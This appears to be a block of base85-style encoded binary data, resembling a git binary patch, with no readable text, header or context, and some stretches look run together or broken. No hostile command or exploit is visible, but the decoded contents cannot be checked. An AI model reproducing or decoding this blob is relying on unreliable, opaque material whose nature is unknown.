zeO0aG9~ zum!oK;<7xxChSb-c{v!uq@DHGP7B6!bHCOWArI=3+dcRmp3?%dD$x@|3|#l)Og@$? zWV+er;(BOkUwxU@A1(ZF2`UX*+wZa#uEME))rBh(rT4VYjnx${Awt<t zJIJVqwB^X_1-EzL3pQgHiENSarrt>kcq|}C)wRN;-O9bPducbK5eOFP!RTQkrvXCo z1U$m5Tzboh!JQ?yL^Za4yBh7uxHEyWk7V>%v3!n80=9T9;`F6FVzuGe=jAswa>;8U_V%CqOC*6P@a zc&cL9_VTSc$%h^Rh=i5bM^s9XLjHWGah!o>&hfy+aulyTc*gYULkC<9E-r-rIg{M6 zQJ_Q^lG*&i{;&R)-`hFggS6YLp8i^G=Uk1A45pK%{dU5lM@?^$B{pZGK7xBigy}=p zJN!^UC(hwZ13~$9QtrxxJrONNjNVJ5lLyQ z3ED9^G=%`+t4&(tbT%;EM{#uAvL(q_#{Dn z${%ZDguwAz(QX!w*WrRL!v>-SsBV5p|BTJ#ca)mjU||qtL&?jCs$%&x%YA$4fs@|5 zm+-wllZ^o@05%;$rrP6j-VbMMlMR1IC}Kt`CiWLnqWm`k=pj;Ywt1w(nV76Mr$k6t z@PCjAjCcDbT9N|@-f^YP39fc^4b&l;^p4<37Udd&<-^lqR}C)6YMeKcE$eKwp3#<_dWU%Z(BSsUnQ2#*;G07u07LqL z(D5V|)!l_ct8sX@hE~dd$)RE}M7FslDIQZdg1E#H$>v(;z{$@Ntv9Pz`w@a{VH2uR znR?1_E-DQnXHjh&r2PW>WNYIW1p9j8-*ZQhm>;Zu3Su88JM5rIGIZnRBZu{bm}VahuR^9j^L*nu;Kqnd#4)C z1KndeWlyY`c1c;|4*$KDNn!RLTmqc#%KnS%?vYD9A&x2|;unB%%&_%CEspk=aQ zj=)1O0CISU5B#CTJsnpF8~<&DQOJZ4o~4D|=Ww+#MM>^yY&D3akr=N9K<-s7%>{%_ zwPjh0xHvw>^+msOsYr4X&LK+N5io7*Xs~*NsJk9xcl^4GK{#o|4os!rMkAy zK*<>a1X^t)(F)8W_H~D8`LkgcxL2VN*^lnI@D+L)JKs(QLG^@B5b>(89Jy6m0-5h# z*9rbo`vT2*Z>&_*{)4j6?zyinw@NI#8a-|bJ%$KmP-d`aj*o`oJ6SW`!3>+bYTL%F zv}+;X`=^~hH4TN?7e8)}07s^&xTl*LB?wK7jf>WTbmznLE`PLYX8vf8#D*+xR9uQ` zsy${Xg`$HP7#)xP6bry=->z(s;R_5X+vi~gx9fB~9JNOdseEvbxo>ZXP44Xy@^l~f z6~XC_w669Lp#G93OC1TnQNj6(u)cRF4#Z$**MfaGt>qF zafNngTi53}EP#;xJ(J2oM3X)blX~1a0S+gGd;`y6%FbA?7mV+mXf2B4yjI`phOP1- z2<7O{pgd`Sl?CHV_{+;teOx>w!<{#&5aMjc8|d5^vcI&t4Q`z~Cl83V8K?W8lDb;Q zr`*BOnx-2YRqs@GgfkOSU}K13yf3RsckN&ttHx}^D4OYg0{_W$8WQxPRr`l#h?Ds13Fbb>0$60FR-;yC$0HQSxxRk5jpYf(9X^Y9jpc-ui0Z#If#PSiB$6Y(y<>6} z#y)Zj8GJq{LN0`wwz$C{#kmvBHr`o`pPQZ}8MdDqxZtMQco%Tsi{_-i4zC7oEFz{a z=LMwt6!>E@-1Znrzr*X>t=$WqfTr^tIX-c9l7BJ|G|E$9`?i?@%fAH)rdX4LZPFdyzg3)DfF>Iw!CqLsb!UKyzm%yL|{ zr|V+iA{Ut@-Rx{wbiiv*LvBOrgavhecm7=GC=!2GmkYH1uWz7TT`os}eWMuVd@_*Y zAFf2AhmS4Jez(xqZTD1A38u`n27wkg|7HEZBB}CSV<)^m*ajehT4Z`(jGbo-j_-0^ zx0Fw8<8h+1O!c3Uhye`;uH57fUfHWbfj6e9C&Bk}bE<9dszZN~&QvsCxJ6eC5wh1H zxs(OObwZ=XN zEeL0bdRpyRmre+4g5%>xN3TJWj>0=qz#c`_zc8FKhR;EP2*IIbeIfO@_~$VbG21Z0 zKCbqxJW_vING%&R-#o@>6tam-2T;?&BURMLEMiW{^?)=8BFKlmQr4xacfVrai>J=4 zEr^Ca#2)ewD-vZabj|E3N{Pnv?@%8R9Om5lh+B&Dsx~N3X49A&70&RNK3gxs4$EN_ z2a}u%KTfbi<|TWjocYejh>vD?s*B$!YR6O|@b07W`6z$R=&t5GbL1DfG~JkFB}rnO z?zjEGB~c2xh9p^=g%0UMc4|TXx%e@{Z=p5IuOKoHB*caOFRe&%SkKvb)t5cB6blnB z9B03r!k1xkpt_<;0Xh%LiveT*&l~GS+j6KGhm@S=)GU!C;#XaRR997Xd*O3E?!bz$ z&d17;cx0-XwQhm^d?At5Ocjbh^CuljbTLQNx*cQ_PvQ`rUdqI0{_1^tOdZQGuJxX` zWFKaqsi$-SU#qXk=zbfD^!(uR2OZ-$SFkGZJHlyX!dxEQG8{Sqm#iVn>K@JxS}CCF zUTzz62ER2Jg7xiVNLHAnekJG6>x`8O#6AfxH_6^_<{8Cfmdx@#a!_pgKg?unb;2E{ zLU;ECQOR%^Cls#98TYho<{ob8P_E=wTf%9aI-&wQ#MOxJ4k`*01*bk_{S7%%1%ChWRj z37jxBXW--X7I6(_n_HY`Fj`p?jltWpmqyZL=@-gaw!t(Zq(xSfef%(F-FY>{?etQE z?kGM`MeQ>{();Ps+|T9qSjvC4)5KHaytQ;tn}D)O;+eoBaz95pk_HTt?SnI<=(wjDa=NA1snU3-Oe|a=*IfjvU=OBv z(Q~-?-ZZ=M@ZSW#4?G_KIbULSzpnS-)dHPb^k+~T{|^93K(@b0KHQ}Tx2bu&A;!#B zIk3kt^YmD{Z?6i_#OfUU!xBS(AxR6rDhYu5E%#H>+PDN;84OxcFbp;m(_9iy?TK%JG$~FZVvc)p1ZDd zYqD7y(31UO#!frj?)^#{nCsWaj;6PBGFHWjR3ia;2ZX@3#%WaFf;4QX6=}_$&j`T> z#@~;%0}y)PI{;@r+nnMT)53}0mHhWtHgdx)Zfw(OnB<6nB!bOmf`Zt}G)S?69(}QH z!Qv(}-orq0xt9)ae=SYS(S4e(yjpmE^dv6Ba26-W0T77#AbVIF7V?IE+(rp6djev9 zaG!VL5te=Yy$Q3w-nayy0$!N6VbHG~(glP?4nfW=HQ88)_P4A-iB#kP1gf-FJ)Bpit7N{^9t}P_VF5Qbw_Uh*OfrQ0H6+VE zS@53ge!rfU2H#!=hB!hPAt=BF>CCsQ*epb2-?2TVdx7z6&)kdEs;~fLl z$G7s@>y+a*{64s`8GL+-K1}a@NAFqEf|!+IbAiEwowox7u+1)Ev5Z2;0+HUF;H$si z%5z^J5bXZNodot~4ku{Jrhv#h2lJe^#N5~R^7XhM4%GY2 zy!UHAHfIaccVURE6H)XAjq+bwPgGKye8V9b7lgT+>S4?aSOQsAm^yob}te!5xn+nIBfH;MuS zoD3KsYy#s8`9Hs+# z8CDdR#a`nDR^k}dw%{5(u56e8Dty@{Y>6)xQMK2PNYX0D1UA|%nc;ZXzW%W}Q%rRMoE9fMgQeCK}g zvR`;>Y4^xHZS(`?>sXO!00YxdKo(HU$#0 zAI-$sfyjX)8Eh>9kU*Y|Oc&#g?hy_N{0bU6%L>!v;lH2T@5TNvFn9yDS~6hUkqSlY zel2{D`1Dha31hXBb2S?(YTXy?J@ufx$tVw&6_1Gv=s%F^$CbQsvUj&~ObI$IENn7# zb_&bXjF@PLqs8zb1U29yV8jk2j@SUmHHAv{@mW~&@2CDRoeOL)ol5a*joVNHH{hB^ zTC5`g2ffBUuVMVAaB{a=QPz|3NIV`KG@V#2^z_IQ@w}K~<0cw9Zq%?6PdcdL(CJD6 zwE=0l6QfxG4;lkM03fjDT+s@wvyI=9L4{H-07^6E2pVoMaclTGZg^S*fgS4o!`Ax# zu#h~pnZga$UD3P(z_S+fN}%Wy3$bNtD#6!Suznj<;2?4GVL$I{4x&V(q09E!2k>g^ zd)6^>brh-M*;-ZW>BG+77bkl(u{c1&i)xcPCm0KG5>7njt{am4;^cXl3H#!5V$X1r z+)86~r)={IMzK9KrB@7n1t>P43!V*zgbi(6q+IGpJiGeXITHCkzmSB&glWtqO>(lr}LP3v0R1+3;rY}kLA zW%~Pby~26<<>m>`cJg$9dMUX;Eu-x`!uq>>n1g(7-iCW-YoqdZYI$HRX965m z^I8~kPSL%%5gaB~4*RbC`eBhGGVg-)2s_9fnUPb8R;>DvyNaG&D*{$oaDee<9cq) zI(Stb!|Ql2ZH!^-;khes7Gx`Wqk0cUl$(s@?Iw5dlHAsCS*Wlq-+=gD?8zR+<4%QB zD7G&*1!mKA6q8h}gEvB9v526j5iC5&yMXIYcNj;eO$h>j&u#4Ets)u@e7E~)`NtM5 z<8+`~iFd2MvZZa!PBlEqb>xbSNU#$NRx@LL;c>ifc8`EdW~w1IYNv1j*-`9|%Ckml z{49LR6Rf_D8BP}Yi;vrb6ODgPNGldZK8Ocv+#;YAu*9BO-EpvaaR3kTZftMuuV&SD zDn0<)i``PNN!rs=yoF!(5WXC4a?-^9%d~qQ4wNwZ1RLlfM?#J^O3{hwbro}N=UD$-l4pv2}L2Hqk zA)}+5D7T00JtwWyq#<*$wf3c8!LN^utIIqRI0?_K}zo%>@_uK$0u3=!X*HuK+m`c+<*IW@vq#}$%Wzl@w-r; zT@B%0rz#U-9651tXkc71TFHUpIALT*Q%q}xrK|#8shk!g-VzF9HfwN*jSLq{0=6L# zL#V3MBy*MXHMz7tPNA)VW|%mn7g$~K2X=OYlEELd?Q1nvhU~@AyuPAZE<7j}FZEPG z1oxYDf;!kx59|j9pY~KZGYuIYPmZ|_Xt^;OXEX6V_!D+?Pu#mRS6t}OMhqg8(<)hB!-%bcB zh+h>|L+G5_>)!t;3$b1Nup+!MpPn!$0I(U^cujSIs^E{s{AiNiJ~hfrE}LKc3h!Z8g`W zKb@QA|29rX>!4nRUTou(S#@~T?smW!lI3zg^&e%UcQ(U)q+0QZc%BQo0TfPFp@J&8 zM0~#**+w|U8FklTNeo73Eqm!pvJ~1Ns=@}qxC_IkOg88uT>q#deT^*v3_C{cI>7Pp zK=?xlHr0t&w;J%cmc0#u;2Vx!^^IS!N)Ao}rrr>>2FnLbLSBuD;(;#C>-c9?X*^on zm=$2}`!29+KQqs+-m90CiMElaU|^W{+$0j>5oV~jcd$wtU(E*~Cm-qb$f zoRyj6L|XS|2AcbBX&1~fm`wg>6)H<~DL!FWGZv;udS(S$wYw{%Y4(t-7A%~44jSQ< zNAQz@#8EfTHI-lN+z*_$K@>3{b_nCi@dH`@t16YNYue+o6}y`_dv7J?fm!%FuHOs_ zMvXUL>g&I91*iv$^(rLDN*P-pxHoAI*C@B~+ch_5tuU8-&Cz$NAvgw z+uMwF#bGZtKH@IAg`k$=d$h-G*SkFMT$pOLJ*HP7>TPk9QYX1?vtMtwb4|@b%f04a zzbRwAEWm+et7=y9nl}*Z#`D=Jd7x;y)&$-dZ*R+r89VWCMwn=jw|xYMswLal3N(ie zRD|Iwtc5D=_HPkGFDs>jZ%8_jT4@L zDkc<8ce??s=CFYt-0@nnZwEhc6na_S-<7>C9AL9<53B`f>!YtLY%5Sr#01k(f(f4C zkuG^6tr>D805)6x!by zfWKoGFvM*Z0Fs)f=E~sWuh$}o(FGPZj@c{M%`mFhCx|pQ*MG02zH!uBW`Cdfs>Sww z+b?n1I;Wg2V4p`_a%GFKSel}=$AfhpY&N%;-^9VOHcfV)dQpyRpLoXe`zqNBC&yYv z=^Sh!U)iclhlz}_`A$h>-O1JrW4DUiw02p+$6+7%tczdayt3esD%&K72OdjfNF$ou z{$15tjrBbC7M=0Vq`e_V^aMezj^GM%g zFV!gm={^}oxi{zdVRbR*_->4zTv8nZZSPbavjU+Cx3(3)f$V<+GvMN-oG_wd9oL`b ziDZBq|8G0MxEurmQWJnBC^O5~l)Zt4C_%s}l2ibUfOG0YUPZO?WFLm$;!;115p#bIe5n+J-NvBRN@Tnx?9XnA@EIWHr?9RfSdfoXO2%-oNvJqv5F{w-?9lavGGE?W&s?xfP85=Vz`u&3 z)k#HvOq#*B$o}G(?jzOkPC##3R-3baz+A9D*0qPYF#6FU1yc>Ms3gjlr1xWwHdz`E z!MN6v`AwaTy%oXMZ^NeUvjY+KQ4{?75ff#Inau3vkK<*$WaIzV*WxM z@T1SN=MnCIDQ}P2>bFUM_!p2>=7ytrVOQpUWRk(!FCfc(KdY#G+*@vDGwRW`FI)9V z?CXY2?U}z+8653Pl!KbPg$Oj36>kevbI8w<$g4@(Cze9#>;AA z5Nop#h(+XJEGU>+uW01e7JV>eVUw&H{X*q1)-Wp*^;G3tyR&;t1{#EE*U(`V6XfQe zfyi4yw)?rPN&r4AgL=Gz14}G!_AQaX6f;)C_GK9x$q)Y@B7WH;DDN5g{Z?BZfnUzF2C^ ztLEFb5T(Yg?>)GTzX!GOH(XOCVsEn`*V<>q1Lp|G5X>e>I23H<3{I<5YB*{z@fs0V(4{>QHJ7A01W7X&{u>DN+I{C8@hA9#&A@iDFkbfYSk?yN@8di+1;dsdpGoz0k&}g(>mE?j?8>CCRW2{b5xAsmdWK}H`U>R0 z2x&9l$4BDAKNlqQ>ZjlPa>9n8U{f78o&hTlNwq*>6po;r)(TUsJjZ8#t&&;Z_u^x2 z7&~8@KuDM%=QjXRIc=6HTJ;z#6>L_M&di;DZ5teFNn>}DsS?8^L1U>zvsXcRIwPodM>XGOUN)86?+(6u-!>Fsv0t0HA>oFmP7Oaco#SIAcQ8_BZx8r+=axKH*t9$! zcnOv)Vw=8N=^Ty6ydrK6xI@y|DQHCu*l0CFyJM1e1Q!7z`lSr$ZAV(XJp*f42@@R` zvoV`^`8mwmJp z#7dUXIoF9zaZMS#%h5#4-_Ie#;q~2^X@vS2Mjq?PrC}U~8*2y@; zUhZilpdrGcl&Wf7-WGfzHtK0k@xqUBK6zF1o0!t;>!s0{pnk+L&2+xf2%5qI5dkw zD!+WcssLqcvasFC(Sp)B{Z(07cI)U? zAsg@~>+VV|IP8aWb>W|a`Y#@+*FJHq$9tcW39Q{^6-hb`Cvd>as{H$;x&gm67w0YT z4O{yDEeS9c4y8TmRdAv^1cGfbw_`S!9qgueUK_jltZm0=H_ps2rG*)f>@U7zsWCk@8e zZ+NhhqA*N2t&?v|2Bwr*niG!sda3ozb6RGA$>kVgzxa7z1GXN6@J7S_mcUr!1prl7 z@`WP6tZsDxlvG?gjj@}sC##iMxns)?L>mqB{#NNVYvf2e@1UZnI0ygYG~`=W_&}%e zaO<7i3t6GGB5j8suv+!VAPK0}ZAHy=HJr0BR2}y2KTr9#1ew{&Ti#R^HGm*hYq^HE zv|&S9Ps!+m+gm zeOS9#RHL$*b;shSy;>7Q7E5YA}TF6neL#Rn2AY&(kb9JEppf(VZj9c?J{X zIqDLMo|$-#0iEFH3FWvPPlWLrZoU&xn>8|uCBnF-A)PqBSNM(3DK2%lVs>#!9EgBT zHCbp2$bqKbIkE16C%lw{BKk%Aa0S>0ad@UNYA_%V)_igX<O>J$V`IjjBj7j)vFlRA_(xbnmjErCp(CUVbQB=f#oIG&BnLtL7wb5}m9gjG8Mhf_-nl$SRvT}|6vwkKk& ztt_in)x+hhCU5a9j>-jO`m!b@BH+m_`F+j3_ZvS2RYl$M!q|&*>K=$birkQpzIv$ z%?(TdH24ub@x(0B0xwUylfYt_sAXN(HJsM0h&<g<1{rw|l>NkHLvsR8rz`Hr10T`;R5zKN}u87z5f?1#c85e&Z zn+`Daw(?4TO&g|ldM>8`qqDoi$p(^$Zi;^#azq*Ma+rU4va~&V2 z0V}T+ijyH;Fm-P>WSHl`%PcIP#d(`6u3yw*x~zI^r%%D8@qFw4p{jQEa7{(u7LGug zwgsrw5k@#GbF7*&r3LcfR5=94&wx8m&(JkhlzP09<+&jPI%X?FIQkvDYK{4iRk=?y zBEUN_F$kRVYLj4CN21`^(!9l)7^R}X1J5xWFaXXCV}Nw7p?4X9hXYgKDM3N`0$C_u zU-|VPt9l2bsf;MWRtifAYUkLqCiv-PtvyHr4^|zrab%a&8&IOhdA9&rAQFeQ1*MMf z;J__)QR5U?HBs7+mBCjv0M95o7QpbHSvwGD^9Ec3gdAQ^x}n)+9jD3sa=y^x@{Th` zYT1dQM6Yu;z>S&nU}tiu;|I&)uhaLbuoF*d2EuxcX^}0D>PT+RSISm6Vj?hT&U}t) zIAvQ(F!gP`+}#_hapTga#fi2&aqGf8EED{}GI_Nu3{wI^xEBsjQ$#8S3ysSx9WW0N zu_7kjSoZ1AglvK@jTeHioUH1ZK#FNb@wHsjs{U|FOFH}dqh<3YbNik7Xyznxwqibo zx3^I_htmTfaY|<9E%~(;fy)JixgIAPb&LA!3|>%9prW%^44YeyYgsJk^GD0*qjO=c zV7k@y^FhE_JWGQ9UVh~fK~U}5QFvX{hhg#_x6AO6V?2|So~nw3P6EBp6pcr{H+j|k z(Xx75QI`&c=V9NuWWy0O7u+REFAc!I?`L_MgS`ysLc4h1qT=Lj6LGpZa{jV8=cA7S z8Gy&w6p`zXm)V1k`(xl(zGO?NHTR}V9>7iuN798Op6`Kw)3PcYmMyw8w3`nl4)^Pb z*ns!sB3K8jhL%HH*o7Z1yPw^DSBFd8RcX(xGRAh&ZeMz(_p;CNvhtw4p9Sk1#>7eC z^cRKFfMT}GCLKFS+UVMb7(YrSu*CJp%kVjL-Cjvy5L;hzgi=R1FV{M8cWm3{xUf>( z?QjNXA09cCc;5Bm`Ic3Jb6Cm+iC&X?wm!?PrFY{e%JOk0xTc1ClWM_5A)p~U`wB>> zTX=5J;x5|ZVPuwjqhJ~ALtQ{Xk%95qtxwM!G+_0+56du71Bm?@ru(ROU$-Qp_8h}1r!D!V0Jw#Lao>_Uk3!;eC z9iW_?uVFd#kaGs-aGD7^^AOn)3*ouS4c88E_DTF9PzdC_Io!y4Xs5QeQymVhj7k0) zfH)SSToYq$pUd;EYB3kwrE`Y_BxcTX;gV-4IvD!8^wl6uR^+mAk=um{vg*K^7yHmW zS;t#(eb3lcu>$XIH^7@uzqXuBO%yKTWyXLnvS}PcSR9IQDcj50(v3RIdflhAE9Vam zDIiM$3D6I&F5|G(IZaOK1Q97}H9Ut>o@SkkGt=xxsN#?72-54R+}^mX#~2QsfSG2y z8l*2NIA2KH7PW4dRq9|2A7q>ap9*^*ifD>$go%HU+F8tClF5J{ z=mj>>Aj(>tFlp~rkgK}-7~&)89rY+U7d1?k&fq1@hk)Lnaui?Sr87FKXE`;x3193j zeH{Y8_FzSASMs&_VZY@_h&%t>UVzJ+vrp;5(w|(4LCM9Yp{)d~9O}8|%ho5ub|y9W zxuXzXqUA%Sf+>Y-n34M8ejdwPd6869Nx6j+b8ClH(#2q5b|>d2H_iLwxV)g8$(WY? zT#7$>cHkgKibTESWfAX#Npna&cYIwyoaczXJc3&wjg6P4RCu`U5w!NE*((Wc&alST zl<#)*%UcpiG{uh=8b+sq2_b0#H+?HPTCsisrxY*;iu2yq04T;%`@D=kR#mCo)Wb)r z<|HoOGvHtq%$&n)mcxB!mm%H-M2k;-RD`rBgZp!V6%=o~jaTroaJi356|{9b9d%i@ z0h{j+*4Dx~?SrtQs0+I-f&g)torI?ECdfB>)UB92)qEh5*zWLj{4mFP)HCAuy{@Ck zr(_iG)iJ4Q7$YpE5pEfFx=YTu#GQc?m+^egr#EyseExM5U~pQ=6%=g3Z7kI>t&YIE zSRBt6?1z1aM!vx`j1x8-Kx1L!1<&K#CYQzoRP7#CT-QPZ@P-rA9CfN@&vxKTvT(u7 zz9lu~!%7pYORDdE!CpaR&*Ow&Y#4rp&sSm-nq%F>k(gWT@O0{mK`e8qcR2`VVwFHr z*gC1kRZh>s=~!(SJn-o!l**lY)00;-uFDluN2A|I9Y^iz4~GaYsQNZ3jSXFp75nSK zc6Z`-L7H(Nn3EALs8Gt}NZq@rEHWp@g}&6>7V?3LYgYaoYx^vH`cPd`rBhHY>*oo6 z6n(EeM{+v${Wywt;9v{4dVO$7EYrCZnIBMCZU|TlIGfDZUR>ja?NzkxNymF(J^7*N zz_4yKc(M|w|L=B6tfp70W74^B1C(ep+2h3WQVh;o2#T%dJ@hTrMsBD6m=GK98L^CY z<9exVYzaG*s4TqJdxT{;hDlMfddmDP!FUdyP;jm-ZlM!d**>nZ@i}#;4J#IDu4-y3 zpSoCV*j3uz_zaM>Q5K6cFH^TiA^O~I<3ppBkL2Ww*B-qjxU+@Iymwa*{juR}8K|yr z%m5Tqk|8>o(>cDZlht9WQAb#lt;or#hW!X*IezYS%$ehQH?PfwRq5^MDkXIzKs%44 zA-C~v1uQz4?RHWT*a>)Uv0<>@&4YkI3?~aVm)ywdJE@ zRXMZ+QxVnF?bf64b48)7qo)ItVw()ifp=}ffuY?7!zZ@$xv~S?42r<5KEUETIPJ5a z;VEiB1K)2mOmDMF(jgF@(rm%meM*h-j=->6_Vm7UhoIkXR(ljjTiw=^b5|~x0X}*0>!nUKM7m_Od%2;^@QL-hCR*tmfbgot?t5vNj%L ztDX~Pap zKmZQK)n(yW&$8=#a7ecsg(Iot`+R4#Ny)zKC5Ro50YI*p-NcTv{YW;I&7_WVIuo znt>uUX&uGGM`CpCn6&WfvaWL~Uu=(j{BVHD>v*4KrHSHTaMC^>=fiUb*=jqQIgfE# z`)gBtJN;o;lHvGc{%Y;JVeHWM%GoVKca~KBY9_2~JQmi5$-)3+ToD zD2ZMVRh-el5m+bLCaVtWsWC|jgMXP)3PEmZNAG&^`-`IvreCL6Und)Le#RMDS~K7J z90_2Vqy^>89!Cq3oPGmkk{55wgMu}ofMKYJ!efkbl46*WOqCHK<-@@- z*b$qJoQb~sJOc}l7PVEP0OAZO-Y>tQ0H3H!0lQ>3cd;sG8m)(!+`XKZU_h&l+b3fa zELy91JBGn#oJ%0Yy00T53iZadC19~L9POdlk5ys-r)eqrh4o;qRlsQ~22>DJAGnf| z)o-~B=Ci~5*GVwL@q0|D`h4X#rB}y5UV(xKkgVocN(2xmw3y z15Hid#{R(EY`7gsw?N8KbB5x%Sz*1OEyLL`sokf+o?Mg5 zhzQo=R$s%eis|@}4O&;QXMxo31S8MCwiur#iV!f<>d#aq>w>++SGL>&pTzHSPH{Oe zOLuA%m3en^94JDWZ;nF7-^P=`5H@#K-TDIqG`#u*k{Ne*R*-D-A1%jQ-JBrrKRsbn z0WB^8HvF+s!cZUnbs4}_vCuB^Y>|U^>E1C|pu-pAAnpimi#XO4k7_=S^masbb6&LF zP!HIO1^Y)2vauWoznEKtI9|!%6j#&41$=(->{Eg`?F+IAYM6fuH=S3KL>Whk?sJ|bS757vDQDElna&ygTA}- z3Qe6qX5OJt%W^RMT-E7cH?NLs$`1sO-R}=Gw*IBUhs26}4bMh~E(0rX0u7+Qgp>?qK zR8gU9?mtKdTknCk>nm@|%+>IXW!f4Ph`utNw{%Q$}xXD>MJD(t?%t_K5_W2QWCN+6d#|ASqQltedn@VHFnq zG5c#f_A`Ie3Oc=liMd&6(PXIKk))3=2ac0gWKlRZ|HkA zp?F60VvZ~w~VF2RWvW`(}=ME|^7-Du%;%}OuVG0H*lW9(_ z8kZSnh^gX&tGwx)TFJa1b-oI<+f`Q16tBgdbWCxw_u28x#r7j5q9CnCkNZ=tOa;s~ zlkh5M+?Edgt0~%%vB9pQ@j@qhk_xdV1|J&n$pK zd5=SUIq5w8jUkxoa;Ry7e+JUp7p~k^J0q{Ay%nOhWTiw2Plsjic2cDS=w9%zmKFq6 zhoE4#cESCB*F+6PsV9tcYEwCk-T6nDCyQw_uEfUe$8w9_wK2RsK)p$fSSDPbAxuZS zUiZ=67w0*((P@zOaH^AiGVd`dC3C;m@0zOZvalXF*OV?hD6vJuaISG{0b7%!Jlode z{8;*pNegGn+s04ZBf)DqkGz{vWNQI>_R=YoVxw{pwBZtm3I*V)@cS-nHGyC`QI##n zNi<-wDX37UB9k{Cp&*(p^o86F_bH$H=3Jm!R^YH`k7JlrUiDU+QdD9AOi|R(#_HeV zOD8n8(SP4{o%ag27AjxGR+kcwwAgJ&<5F@x*ypbv$-|{ldWCawtKp2_4oYL-W|B30 z#a8|X1es?f-)h;|0A8k^=x24lX()OAp$nT=v$v%d*AJQuDB`8|b{^0RS2g~7r^o|f zJ)N(O9~G}Fc#mzmZ?4Ftbca<4Rq1FjZ`gJeE}_0laN?cg@Ez>qAG)$FGalA)$Tmzj zBtF0Hc-lMTp&R{7l8kr|_y<01kJG7W+QVR#nagJV%B__B`v^~pwR0RJpRTGNHSe|s zOaQk(bZKMi+w}&8i3&)z$o!HixibyXYAl|MFd$5#m0m8%4XUuGln zuo(j+QMoDAX`Ue~`}N>~xE8fTsvLuXWl%OMyaf<#XL8Klu`#C)$-r4>J@qo9I6=;s zb8PGSQ&YEXFT8{Sm=yCVEU^(h;d|nijYdcPa-N<0g>mCG0HpR8TA&S0^{U(QZpr$N z!qOzO#`@cwXVwNUrl7om(+6+(rzY>1*%!zR_E3>OP7@p~a9VF;ND9vkFtpLpZcFwu zuC%v>ioIH_U}55bUg5TlLPuYv-`4hWu}=kgmEk40vXTd!$3HcFcYDMmhC7`QtV6?` z9DG~P1@5*%9xma$BT(C7&1dIonAlwSz3!0Z1V+LMPc^HbTiGuaI9|0D&d3AEp#5_8 z^}|@c&;?#@TbgSFb=V%cZQjFx-cHNnkn-b8GRUXn4NZcn8rF_vQ!s~XD<=HCsF46_ zRT6^Ldy9YiD(G)w!Ld1A-9)?f{@fLQIT-dHMl-Uo0JzpqP~1q0YGv5CAOb8)iOd%! zmOyrD*>Z&+yRNj8>d}M5?Z-6BGm6n3aK!cI^(@6#Y@faJc)!pjj(Jst!PWyjOx?C_ z*stI?SMEZyu#Ly6MslDu3YtA;FKn&DBzonXS?81i8)R+;4U1E_URDdh57x7%1AB_Y z;&6vA^o%b6&RD}?5pUh<*d}>=v`~LL$(EDfH2Umi?59CHdBZqK&Q3hJ|Hc`D-UhJ!?}C9Kzm#WU7<>xu<+-c=~IZeYKbk z+kRh0>pHC9=6rKppzUyy>3~M*PhkCx5X$f$i%Bj_`%;b$-cm3!uX1t@;Mh?xA<~6( zsJ&t7*_V3EEkA=#-i9EvunG6pxzvLhcyro_a<`5PGwPOl+k;upc4%BJ+aLNd%jIPUn(stb)L(W=n}Gn*m+lXu(-~yk3C&%Rvf)D=Y=~ zd@fm2>yB;7qN02O0C@|w9hOboU+PhZNGwN^H~$ffkz>G0G$sFh&N(rW{9-WJk8BGv z3ouRW)dFX8<|m+UI1e0r(c3BQ@*kGxSW3!Qfw^}Bs^c!N`^!D+5wqv8sD2F1nTIoM zp}GK>mxXZKTC$$rXm7HWgmGah%9+gRih?VZAaJH2{sWgj%l%|0tUI%9X}6%=_%Mg0 z^LO`Gde~I}0Qfc7+O3bq2zBlZ=X!AP5-^wlxRt0*SQp2^=GTae5jud+)jqpc-v?g@ z@Lo2nI6eU%IvhQN?Mf;(0_32GeDT+M+F!Q7iMFF+k%Cee<#C1uHfbvP(H0DoLvSeu zlC`m>a8!)SDkp(M%soW4Q!QdW^U!TKu?%;Df#DpWYvn=|!4?yIrN{kNAX+Frc7fyP zxt)Ec)E=OuJ$7?&6QfQ%D%&`@4$tXOQ+ssV^3qMO|lYfpNxcTGW1{*YxK7h8T5qD?K~Qr2af(W6mMpgUI7!uuMn z*m53Uf(k-yZB$?(K-f;k#xvT5V1~pAhdkVai@`Wp0ptMEZc*#Z)-J|VFZyy&tQmlH zNI0!ISn;bp@>ccrQ|WsuUndR}JhpLmlcNQF@)cqT`0mHBw({%gF(A+1nt#vR2owvT z)!WaZ)2}k#mgRDmMzRL`u{N1S;nsh(XTHayxRDZfF&5jyUCGO)6Yc^&?gE+`eR8-0 zzToH;X1j0|76#!w9+|4@ol{rMF@Y1**R>|OsqGh?@mww4XUl5%dJp|Fz2;EHr_P$7 zZ1%IkaP%V&t^}hU;t>ks2E<~Tu5xRiGuFz|565$0jn6!yYFU#r3jw$ns3=UcHM%JK zPBKQ-8so3_)F+GEW9MRUn@6y#v^t^QegR0vr)=kYE7T7av9dndhhXmgRZ%ZlioIEu zI?hlW(IC5M78vx8_t95%$F^tu65QnZMvpybwtg1GU=cC$EvZ&`iVmE-lAmDaps2xv z+sSRf2eV-uLr5EJZ}J4+$H}Uij%*wEvyNn?V=X5h%5pFu;SHRK*Ef3Zv8lFf0vMwa z<+9B*zO&d=n^ul$5n+C2)_PSPkwRO3548|dt-(sk1%-9Bt=aFcOOGkoTSLN zZ5!_3U(cB^z`{Vpr;?{vVBay?w(z$#f>H&Ug@6g+;2hrdL{$w~oa;-5nj(eR@osqyTRp}*kMs)W^-YRG@gq@(X=`fMj|NpOxQKw)R{`V8 zs4*}HRzB7@d-m;7E1VC^;HoEo9fwk>SQ-mHjC~Gs!s>q~=WW6BdpaRpLnJ9HH^cG8 zr=6=|QF>Kmz|Oi2Q>t1~<)q&Wvsl8n$Em3^p5EMSaS3pn*i7<)7&<=RF%KpIt!th- z>RBvf9>#@kg_umza8$E>aV=cVfPBYRHwc8G3}kpmC@P;$_9G6?;WvBw?XEETj9oI5 zq{e7@*}15CwB^0Sn&u7bz73lK)h4uCT?OZ<0PnzMUPhzjS!IcbOv;itAj%FG5yp?pI0>ri4;B64*w?zP8m0U`-a?QE* zgXX6KwJ%Rt>yeAQECcG!sp8!5Uhlc-xU7qnwvBc<-U4^jvFTj!0{^wOGzrD6_p?ng zV+pF#h2IecfcG0x;|$tnVdSkSgLfs2VmcEKxDg9%DyM0fzNm1qLF%*`%QGE(G*p>a z-c4cg^g^*+500qut)QxiMT@DVgZRF!5|A7>gfDrT)g#ejEV~UkkzS4@`P}*D)_jx-Gp zR^vzJ@Ic#GHJa0607yW$zgXmaLr83518&*z{XG=|tmDRt+tsUE197xh4Gj&HH-P95@v~1!n*W 